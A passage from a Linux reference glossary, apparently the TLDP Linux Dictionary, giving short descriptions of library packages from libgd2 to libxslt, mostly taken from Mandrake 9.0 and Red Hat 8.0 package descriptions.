GConf is a configuration data storage mechanism scheduled to ship with GNOME 2.0. GConf does work without GNOME however; it can be used with plain GTK+, Xlib, KDE, or even text mode applications as well. This package contains necessary libraries to run any programs linked with GConf. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libgd2

This package contains the library needed to run programs dynamically linked with libgdgd is a graphics library. It allows your code to quickly draw images complete with lines, arcs, text, multiple colors, cut and paste from other images, and flood fills, and write out the result as a .PNG or .JPG file. This is particularly useful in World Wide Web applications, where .PNG and .JPG are two of the formats accepted for inline images by most browsers. gd is not a paint program. If you are looking for a paint program, you are looking in the wrong place. gd does not provide for every possible desirable graphics operation. It is not necessary or desirable for gd to become a kitchen-sink graphics package, but version 1.7.3 incorporates most of the commonly requested features for an 8-bit 2D package. Support for truecolor images, including truecolor JPEG and truecolor PNG is planned for version 2.0. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libgda0

GNU Data Access is an attempt to provide uniform access to different kinds of data sources (databases, information servers, mail spools, etc). It is a complete architecture that provides all you need to access your data. libgda was part of the GNOME-DB project (<http://www.gnome.org/projects/gnome-db>), but has been separated from it to allow non-GNOME applications to be developed based on it. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libgdbm2

This package provides library needed to run programs dynamically linked with gdbm. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libgdk-pixbuf2

The GdkPixBuf library provides a number of features: – Image loading facilities. – Rendering of a GdkPixBuf into various formats: drawables (windows, pixmaps), GdkRGB buffers. This package provides GTK+ version of gdk-pixbuf From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libgdk_pixbuf2.0_0

This package contains libraries used by GTK+ to load and handle various image formats. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libghttp

The GNOME library for making HTTP 1.1 requests. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libgimp1.2

This is the non so versionated parts of the gimp core, aka part that're either build for gimp-1.2.x or gimp-1.3.x. We can handle multiple libgimpX.Y_Z at the same time since they've different version (eg libgimp1.2_1 and libgimp1.2_3) but we can install only one libgimp1.2 at the same time. So come the split From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libgimp1.2_1

This is the versionated library that contains the gimp fonctionnality core. It enable other programs to use gimp's features but is mainly intended to be used by the GIMP and its "external" plugins. It contains : * libgck: color managment * libgimp: the gimp features core * libgimpui: the gimp GUI part From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libgimpprint1

This is a high-quality printing library used by the GIMP-Print plugin, the "stp" color/photo inkjet/laser driver in GhostScript, and by specialized CUPS drivers. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libglade

Libglade is a small library that allows a program to load its user interface from an XML description at runtime. Libglade uses the XML file format used by the GLADE user interface builder GLADE, so libglade acts as an alternative to GLADE's code generation approach. Libglade also provides a simple interface for connecting handlers to the various signals in the interface (on platforms where the gmodule library works correctly, it is possible to connect all the handlers with a single function call). Once the interface has been instantiated, libglade gives no overhead, so other than the short initial interface loading time, there is no performance tradeoff. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libglade0

This library allows you to load user interfaces in your program, which are stored externally. This allows alteration of the interface without recompilation of the program. The interfaces can also be edited with GLADE. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libglib2.0_0

Glib is a handy library of utility functions. This C library is designed to solve some portability problems and provide other useful functionality which most programs require. Glib is used by GDK, GTK+ and many applications. You should install Glib because many of your applications will depend on this library. This package contains the library needed to run programs dynamically linked with the glib. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libgmp3

The gmp package contains GNU MP, a library for arbitrary precision arithmetic, signed integers operations, rational numbers and floatingpoint numbers. GNU MP is designed for speed, for both small and verylarge operands. GNU MP is fast for several reasons: – it uses fullwords as the basic arithmetic type, – it uses fast algorithms – it carefully optimizes assembly code for many CPUs' most common inner loops – it generally emphasizes speed over simplicity/elegance in its operations From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libgnat

GNAT is a GNU Ada 95 front–end to GCC. This package includes shared libraries, which are required to run programs compiled with the GNAT. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libgnet1.1

Gnet is a simple network library. It is written in C, object–oriented, and built upon glib. It is intended to be small, fast, easy–to–use, and easy to port. The interface is similar to the interface for Java's network library. Features: * TCP 'client' sockets * TCP 'server' sockets * Non–blocking TCP sockets * UDP * IP Multicast * Internet address abstraction Gnet requires Glib 1.2. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libgnome

GNOME (GNU Network Object Model Environment) is a user–friendly set of GUI applications and desktop tools to be used in conjunction with a window manager for the X Window System. The libgnome package includes non–GUI–related libraries that are needed to run GNOME. The libgnomeui package contains X11–dependent GNOME library features. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libgnome–vfs2_0

The GNOME Virtual File System provides an abstraction to common filesystem operations like reading, writing and copying files, listing directories and so on. This package contains the main GNOME VFS libraries, which is required by the basic GNOME 2 system. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libgnome32

GNOME (GNU Network Object Model Environment) is a user–friendly set of GUI applications and desktop tools to be used in conjunction with a window manager for the X Window System. The gnome–libs package includes libraries that are needed to run GNOME. This package contains main library for GNOME From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libgnomecanvas

The canvas widget allows you to create custom displays using stock items such as circles, lines, text, and so on. It was originally a port of the Tk canvas widget but has evolved quite a bit over time. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libgnomecanvas2_0

The GNOME canvas is an engine for structured graphics that offers a rich imaging model, high performance rendering, and a powerful, high–level API. It offers a choice of two rendering back–ends, one based on Xlib forextremely fast display, and another based on Libart, a sophisticated, antialiased, alpha–compositing engine. Applications have a choice between the Xlib imaging model or a superset of the PostScript imaging model, depending on the level of graphic sophistication required. This package contains the main canvas library. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libgnomemm-1.2_9

This package provides a C++ interface for GnomeUI. It is a subpackage of the Gtk++ project. The interface provides a convenient interface for C++ programmers to create Gnome GUIs with GTK+'s flexible object-oriented framework. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libgnomeprint

GNOME (GNU Network Object Model Environment) is a user-friendly set of applications and desktop tools to be used in conjunction with a window manager for the X Window System. The gnome-print package contains libraries and fonts needed by GNOME applications for printing. You should install the gnome-print package if you intend to use any of the GNOME applications that can print. If you would like to develop GNOME applications that can print you will also need to install the gnome-print devel package. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libgnomeprint

This is an implementation of the Gnome Printing Architecture, as described in:

<http://www.levien.com/gnome/print-arch.html> From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libgnomeprint15

This package contains the printing apparatus for GNOME, the complete graphical desktop environment based entirely on free software. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libgnomeprintui

The libgnomeprintui package contains GTK+ widgets related to printing. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libgnomeprintui2-2_0

This is an implementation of the Gnome Printing Architecture, as described in:

<http://www.levien.com/gnome/print-arch.html> From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libgnomeui

GNOME (GNU Network Object Model Environment) is a user-friendly set of GUI applications and desktop tools to be used in conjunction with a window manager for the X Window System. The libgnomeui package includes GUI-related libraries that are needed to run GNOME. (The libgnome package includes the library features that do not use the X Window System.) From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libgphoto2

This library contains all the functionality to access to modern digital cameras via USB or the serial port. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libgpm1

Library used by the gpm program. Install libgpm1-devel if you need to develop text-mode programs which will use the mouse. You'll also need to install the gpm package. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libgsf-1_1

A library for reading and writing structured files (eg MS OLE and Zip). From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libgstreamer0.6

GStreamer is a streaming-media framework, based on graphs of filters which operate on media data. Applications using this library can do anything from real-time sound processing to playing videos, and just about anything else media-related. Its plugin-based architecture means that new datatypes or processing capabilities can be added simply by installing new plugins. This package contains the libraries. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libgtk+2.0_0

This package contains the static libraries and header files needed for developing GTK+ (GIMP ToolKit) applications. It contains GDK (the General Drawing Kit, which simplifies the interface for writing GTK+ widgets and using GTK+ widgets in applications), and GTK+(the widget set). This package contains the library needed to run programs dynamically linked with gtk+. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libgtkhtml1.1_3

GtkHTML is a HTML rendering/editing library. GtkHTML is not designed to be the ultimate HTML browser/editor: instead, it is designed to be easily embedded into applications that require lightweight HTML functionality. This package contains libraries used by GtkHTML. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libgtop2

LibGTop is a library that fetches information about the runningsystem such as CPU and memory usage, active processes and more. On Linux systems, this information is taken directly from the /proc filesystem while on other systems a server is used to read that information from other /dev/kmem, among others. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libguile

This package contains Guile shared object libraries and the ice-9 scheme module. Guile is the GNU Ubiquitous Intelligent Language for Extension. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libIDL

libIDL is a library for parsing IDL (Interface Definition Language). It can be used for both COM-style and CORBA-style IDL. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libIDL2_0

libIDL is a small library for creating parse trees of CORBA v2.2compliant Interface Definition Language (IDL) files, which is a specification for defining interfaces which can be used between different CORBA implementations. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libieee1284_3

libieee1284 is a cross-platform library for parallel port access From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libintl2

This package contains the libintl library for the gettext package. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libjpeg

The libjpeg package contains a library of functions for manipulating JPEG images, as well as simple client programs for accessing the libjpeg functions. Libjpeg client programs include cjpeg, djpeg,jpegtran, rdjpgcom and wrjpgcom. Cjpeg compresses an image file into JPEG format. Djpeg decompresses a JPEG file into a regular image file. Jpegtran can perform various useful transformations on JPEGfiles. Rdjpgcom displays any text comments included in a JPEG file. Wrjpgcom inserts text comments into a JPEG file. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

liblinc1

linc is a library that eases the task of writing networked servers &clients. It takes care of connection initiation and maintenance, and the details of various transports. It is used by ORBit2 to handle message transmission/receipt. Currently supported transports: <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libmad0

MAD is a high-quality MPEG audio decoder. It currently supports MPEG-1and the MPEG-2 extension to Lower Sampling Frequencies, as well as theso-called MPEG 2.5 format. All three audio layers (Layer I, Layer II,and Layer III a.k.a. MP3) are fully implemented. MAD does not yet support

MPEG-2 multichannel audio (although it should be backward compatible with such streams) nor does it currently support AAC. MAD has the following special features: * 24-bit PCM output * 100% fixed-point (integer) computation * completely new implementation based on the ISO/IEC standards
From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libMagick5.5.4

This package contains the libraries needed to run programs dynamically linked with ImageMagick libMagick/libMagick++ libraries. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libmal0

libmal is really just a convenience library of the functions in Tom Whittaker's malsync distribution, along with a few wrapper functions. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libMesaGLU1

Mesa is an OpenGL 1.4 compatible 3D graphics library. GLU parts. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libMesaglut3

Mesa is an OpenGL 1.4 compatible 3D graphics library. glut and GLU parts. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libmng

LibMNG is a library for accessing graphics in MNG (Multi-image Network Graphics) and JNG (JPEG Network Graphics) formats. MNG graphics are basically animated PNGs. JNG graphics are basically JPEG streams integrated into a PNG chunk. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libmng1

The libmng library supports decoding, displaying, encoding, and various other manipulations of the Multiple-image Network Graphics (MNG) format image files. It uses the zlib compression library, and optionally the JPEG library by the Independent JPEG Group (IJG) and/or lcms (little cms), a color-management library by Marti Maria Saguar. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libmysql12

This package contains the shared libraries (*.so*) which certain languages and applications need to dynamically load and use MySQL. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libncurses5

The curses library routines are a terminal-independent method of updating character screens with reasonable optimization. The ncurses (new curses) library is a freely distributable replacement for the discontinued 4.4BSD classic curses library. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libnet

Allows low-level manipulation of TCP/IP headers that is impossible for normal programs. Key point: Most programs go through a high-level interface (like sockets) in order to send traffic on the network. Sometimes, for security or hacking reasons, a program needs to construct its own network headers. The existing TCP/IP stack is unable to build these headers, so you must bypass it and go directly to the hardware drivers. Libnet is a library that makes custom packet generation easier.
Misunderstanding: Some people believe that libnet will not work on Win95 or WinNT because these systems do not support raw sockets. This is false -- libnet has been widely used on these platforms. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libnetpbm9

The netpbm package contains a library of functions which support programs for handling various graphics file formats, including .pbm (portable bitmaps), .pgm (portable graymaps), .pnm (portable anymaps), .ppm (portable pixmaps) and others. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libnewt0.51

Newt is a programming library for color text mode, widget based user interfaces. Newt can be used to add stacked windows, entry widgets, checkboxes, radio buttons, labels, plain text fields, scrollbars, etc., to text mode user interfaces. This package contains the shared library needed by programs built with newt. Newt is based on the slang library. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libnsl

Name services library, a library of name service calls (getpwnam, getservbyname, etc...) on SVR4 Unixes. GNU libc uses this for the NIS (YP) and NIS+ functions. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libnspr4

NSPR provides platform independence for non-GUI operating system facilities. These facilities include threads, thread synchronization, normal file and network I/O, interval timing and calendar time, basic memory management (malloc and free) and shared library linking. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libnss3

Network Security Services (NSS) is a set of libraries designed to support cross-platform development of security-enabled server applications. Applications built with NSS can support SSL v2 and v3, TLS, PKCS #5, PKCS #7, PKCS #11, PKCS #12, S/MIME, X.509 v3 certificates, and other security standards. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

liboaf0

OAF (Object Activation Framework) provides the activation mechanism for GNOME components. It is a replacement for GOAD in the GNOME 2 platform. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libogg

Libogg is a library for manipulating Ogg bitstream file formats. Libogg supports both making Ogg bitstreams and getting packets from Ogg bitstreams. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libole20

The applications today needs store multiple type of data. One way to do it is using a filesystem in a file. OLE2-developers used this approach. Inside a OLE2 file, there are streams (files) and directories. Using libole2 is easy to travel through such filesystem-in-a-file, and create, read, write or remove files, and create or remove directories. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libopenssl0

The libraries files are needed for various cryptographic algorithms and protocols, including DES, RC4, RSA and SSL. This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit (<http://www.openssl.org/>). This product includes cryptographic software written by Eric Young (eay@cryptsoft.com). This product includes software written by Tim Hudson (tjh@cryptsoft.com). Patches for many networking apps can be found at:

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libORBit2_0

ORBit is a high-performance CORBA (Common Object Request Broker Architecture) ORB (object request broker). It allows programs to send requests and receive replies from other programs, regardless of the locations of the two programs. CORBA is an architecture that enables communication between program objects, regardless of the programming language they're written in or the operating system they run on. This package contains all core libraries of the ORBit implementation of CORBA technology. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libpango1.0_0

A library to handle unicode strings as well as complex bidirectional or context dependent shaped strings. It is the next step on Gtk+ internationalization. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libpcap

Allows low-level capture of network traffic. Most UNIX-based sniffers use this library. Misconception: You must have root privileges to run libpcap-based programs. This is a common problem when script-kiddies try to run programs based upon this library: they don't know they must run under root, and the scripts themselves rarely give instructional error messages as to what exactly is wrong. Point: Most Windows packet-sniffers are based upon a variation of the PCAUSA driver. This includes "WinDump", a libpcap implementation for Windows. From Hacking-Lexicon
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libpcap

Libpcap provides a portable framework for low-level network monitoring. Libpcap can provide network statistics collection, security monitoring and network debugging. Since almost every system vendor provides a different interface for packet capture, the libpcap authors created this system-independent API to ease in porting and to alleviate the need for several system-dependent packet capture modules in each application. Install libpcap if you need to do low-level network traffic monitoring on your network. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libpcre0

PCRE has its own native API, but a set of "wrapper" functions that are based on the POSIX API are also supplied in the library libpcreposix. Note that this just provides a POSIX calling interface to PCRE: the regular expressions themselves still follow Perl syntax and semantics. The header file for the POSIX-style functions is called pcreposix.h. The official POSIX name is regex.h, but I didn't want to risk possible problems with existing files of that name by distributing it that way. To use it with an existing program that uses the POSIX API, it will have to be renamed or pointed at by a link. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libpng

The libpng package contains a library of functions for creating and manipulating PNG (Portable Network Graphics) image format files. PNG is a bit-mapped graphics format similar to the GIF format. PNG was created to replace the GIF format, since GIF uses a patented data compression algorithm. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libpq3

C and C++ libraries to enable user programs to communicate with the PostgreSQL database backend. The backend can be on another machine and accessed through TCP/IP. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libPropList

The purpose of PL is to closely mimic the behavior of the property lists used in the GNUstep/OPENSTEP (they're formed with the NSString, NSData, NSArray and NSDictionary classes) and to be duly compatible. PL enables programs that use configuration or preference 3 files to make these compatible with GNUstep/OPENSTEP's user defaults handling mechanism, without needing to use Objective-C or GNUstep/OPENSTEP themselves. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libpwnb0

The pwdb package contains libpwdb, the password database library. Libpwdb is a library which implements a generic user information database. Libpwdb was specifically designed to work with Linux's PAM (Pluggable Authentication Modules). Libpwdb allows configurable access to and management of security tools like /etc/passwd, /etc/shadow and network authentication systems including NIS and Radius. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libpython2.2

This packages contains Python shared object library. Python is an interpreted, interactive, object-oriented programming language often compared to Tcl, Perl, Scheme or Java. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libqt3

Qt is a complete and well-designed multi-platform object-oriented framework for developing graphical user interface (GUI) applications using C++. Qt has seamless integration with OpenGL/Mesa 3D libraries. Qt is free for development of free software on the X Window System. It includes the complete source code for the X version and makefiles for Linux, Solaris, SunOS, FreeBSD, OSF/1, Irix, BSD/OS, NetBSD, SCO, HP-UX and AIX. This edition of Qt may be modified and distributed under the terms found in the LICENSE.QPL file. Qt also supports Windows 95 and NT, with native look and feel. Code developed for the X version of Qt can be recompiled and run using the Windows 95/NT version of Qt, and vice versa. Qt is currently used in hundreds of software development projects world wide, including the K Desktop Environment (see <http://www.kde.org>). For more examples, see <http://www.trolltech.com/qtprogs.html>. Qt has excellent documentation: around 750 pages of postscript and fully cross-referenced online html documentation. It is available on the web: <http://doc.trolltech.com/Qt> is easy to learn, with consistent naming across all the classes and a 14-chapter on-line tutorial with links into the rest of the documentation. A number of 3rd-party books are also available. Qt dramatically cuts down on development time and complexity in writing user interface software for the X Window System. It allows the programmer to focus directly on the programming task, and not mess around with low-level Motif/X11 code. Qt is fully object-oriented. All widgets and dialogs are C++ objects, and, using inheritance, creation of new widgets is easy and natural. Qt's revolutionary signal/slot mechanism provides true component programming. Reusable components can work together without any knowledge of each other, and in a type-safe way. Qt has a very fast paint engine, in some cases ten times faster than other toolkits. The X version is based directly on Xlib and uses neither Motif nor X Intrinsics. Qt is available under two different licenses: – The Qt Professional Edition License, for developing fully commercial software: see <http://www.trolltech.com/pricing.html> – The Q Public License (QPL), for developing free software (X Window System only). This package contains shared libraries. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

LibraNet GNU/Linux

A Debian based distribution for the desktop. Version 2.7 was released September 4, 2002. Version 2.8 was released May 1, 2003. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libraries

Executables should have no undefined symbols, only useful symbols; all useful programs refer to symbols they do not define (eg. printf or write). These references are resolved by pulling object files from libraries into the executable. <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Library

A collection of programs kept with a computer system and made available for processing purposes. The term often refers to a collection of library routines written in a given programming language such as C or Pascal. <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

library

A collection of routines that perform commonly required operations. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

library

A collection of subroutines and functions stored in one or more files, usually in compiled form, for linking with other programs. Libraries are one of the earliest forms of organised code reuse. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

librsvg2_2

A library that uses libart and pango to render svg files. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libsane1

SANE (Scanner Access Now Easy) is a sane and simple interface to both local and networked scanners and other image acquisition devices like digital still and video cameras. SANE currently includes modules for accessing a range of scanners, including models from Agfa SnapScan, Apple, Artec, Canon, CoolScan, Epson, HP, Microtek, Mustek, Nikon, Siemens, Tamarack, UMAX, Connectix, QuickCams and other SANE devices via network. For the latest information on SANE, the SANE standard definition, and mailing list access, see <http://www.mostang.com/sane/> This package does not enable network scanning by default; if you wish to enable it, install the saned package. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libsasl2

SASL is the Simple Authentication and Security Layer, a method for adding authentication support to connection-based protocols. To use SASL, a protocol includes a command for identifying and authenticating a user to a server and for optionally negotiating protection of subsequent protocol interactions. If its use is negotiated, a security layer is inserted between the protocol and the connection. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libslang1

S-Lang is an interpreted language and a programming library. The S-Lang language was designed so that it can be easily embedded into a program to provide the program with a powerful extension language. The S-Lang library, provided in this package, provides the S-Lang extension language. S-Lang's syntax resembles C, which makes it easy to recode S-Lang procedures in C if you need to. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libsocket

Socket services library, a library for the socket service calls (socket, bind, listen, etc...) on SVR4 Unixes. From NIS HOWTO <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libsoup3

Soup is a SOAP (Simple Object Access Protocol) implementation in C. It provides an queued asynchronous callback-based mechanism for sending and servicing SOAP requests, and a WSDL (Web Service Definition Language) to C compiler which generates client stubs and server skeletons for easily calling and implementing SOAP methods. This package contains libraries used by soup. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libstartup-notification-1_0

Startup-notification is a library used to monitor application startup. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libstdc++

The libstdc++ package contains a snapshot of the GCC Standard C++ Library v3, an ongoing project to implement the ISO/IEC 14882:1998 Standard C++ library. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libtermcap

The libtermcap package contains a basic system library needed to access the termcap database. The termcap library supports easy access to the termcap database, so that programs can output character-based displays in a terminal-independent manner. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libtiff

The libtiff package contains a library of functions for manipulating TIFF (Tagged Image File Format) image format files. TIFF is a widely used file format for bitmapped images. TIFF files usually end in the .tif extension and they are often quite large. The libtiff package should be installed if you need to manipulate TIFF format image files. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libtool

The libtool package contains the GNU libtool, a set of shell scripts which automatically configure UNIX and UNIX-like architectures to generically build shared libraries. Libtool provides a

consistent, portable interface which simplifies the process of using shared libraries. If you are developing programs which will use shared libraries, you should install libtool. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libungif

The libungif package contains a shared library of functions for loading and saving GIF format image files. The libungif library can load any GIF file, but it will save GIFs only in uncompressed format; it will not use the patented LZW compression used to save "normal" compressed GIF files. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libunixODBC2

unixODBC libraries. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libusb

This package provides a way for applications to access USB devices. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libuser

The libuser library implements a standardized interface for manipulating and administering user and group accounts. The library uses pluggable back-ends to interface to its data sources. Sample applications modeled after those included with the shadow password suite are included. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libutempter0

Libutempter is a library which allows some non-privileged programs to have required root access without compromising system security. It accomplishes this feat by acting as a buffer between root and the programs. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libvorbis

Ogg Vorbis is a fully open, non-proprietary, patent- and royalty-free, general-purpose compressed audio format for audio and music at fixed and variable bitrates from 16 to 128 kbps/channel. The libvorbis package contains runtime libraries for use in programs that support Ogg Vorbis. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libvte4

VTE is an experimental terminal emulator widget for use with GTK+ 2.0. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libwmf

libwmf is a library for unix like machines that can convert wmf files into other formats, currently it supports a gd binding to convert to gif, and an X one to draw direct to an X window or pixmap. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libwnck

libwnck (pronounced "libwink") is used to implement pagers, tasklists, and other such things. It allows applications to monitor information about open windows, workspaces, their names/icons, and so forth. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libwnck

libwnck is Window Navigator Construction Kit, i.e. a library to use for writing pagers and task lists and stuff. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libwvstreams

WvStreams aims to be an efficient, secure, and easy-to-use library for doing network applications development. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libXaw3d7

Xaw3d is an enhanced version of the MIT Athena Widget set for the X Window System. Xaw3d adds a three-dimensional look to applications with minimal or no source code changes. You should install Xaw3d if you are using applications which incorporate the MIT Athena widget set and you'd like to incorporate a 3D look into those applications. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libxclass0

Xclass is a Win95-looking GUI toolkit, it is Xlib-based and is written in C++. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libxine1

xine is a free gpl-licensed video player for unix-like systems. This package contains the shared libraries required by xine. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libxml2

This library allows to manipulate XML files. It includes support to read, modify and write XML and HTML files. There is DTDs support this includes parsing and validation even with complex DTDs, either at parse time or later once the document has been modified. The output can be a simple SAX stream or and in-memory DOM like representations. In this case one can use the built-in XPath and XPointer implementation to select subnodes or ranges. A flexible Input/Output mechanism is available, with existing HTTP and FTP modules and combined to an URI library. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libxpm4

The xpm package contains the XPM pixmap library for the X WindowSystem. The XPM library allows applications to display color, pixmapped images, and is used by many popular X programs. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

libxslt

